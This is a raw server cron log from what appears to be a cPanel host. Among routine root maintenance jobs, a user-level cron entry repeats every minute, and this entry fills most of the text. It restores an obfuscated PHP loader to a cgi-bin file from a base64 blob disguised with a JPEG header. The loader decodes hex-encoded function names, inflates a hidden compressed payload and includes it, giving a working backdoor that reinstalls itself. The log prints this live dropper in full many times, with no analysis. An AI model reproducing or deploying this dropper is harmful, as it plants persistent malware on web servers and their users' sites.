Sep  8 17:28:01 server CROND[11735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:28:01 server CROND[11734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:29:01 server CROND[12118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:29:01 server CROND[12119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:29:01 server CROND[12120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:30:01 server CROND[12546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:30:01 server CROND[12548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:30:02 server CROND[12552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:30:02 server CROND[12551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:30:02 server CROND[12553]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:30:02 server CROND[12555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:30:02 server CROND[12554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:30:02 server CROND[12556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:31:01 server CROND[13389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:31:01 server CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:31:01 server CROND[13391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:32:01 server CROND[13772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:32:01 server CROND[13773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:32:01 server CROND[13774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:33:01 server CROND[14272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:33:01 server CROND[14274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:33:01 server CROND[14271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:34:01 server CROND[14659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:34:01 server CROND[14660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:34:01 server CROND[14661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:35:01 server CROND[15050]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 17:35:01 server CROND[15053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:35:01 server CROND[15054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:35:01 server CROND[15055]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:35:01 server CROND[15058]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:35:01 server CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:35:01 server CROND[15062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:35:01 server CROND[15057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:35:01 server CROND[15065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:36:01 server CROND[15894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:36:01 server CROND[15895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:36:01 server CROND[15896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:37:01 server CROND[16276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:37:01 server CROND[16277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:37:01 server CROND[16278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:38:01 server CROND[16762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:38:01 server CROND[16761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:38:01 server CROND[16763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:39:02 server CROND[17163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 17:39:02 server CROND[17164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:39:02 server CROND[17165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:39:02 server CROND[17166]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 17:40:01 server CROND[17560]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 17:40:01 server CROND[17561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:40:01 server CROND[17571]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 17:40:01 server CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
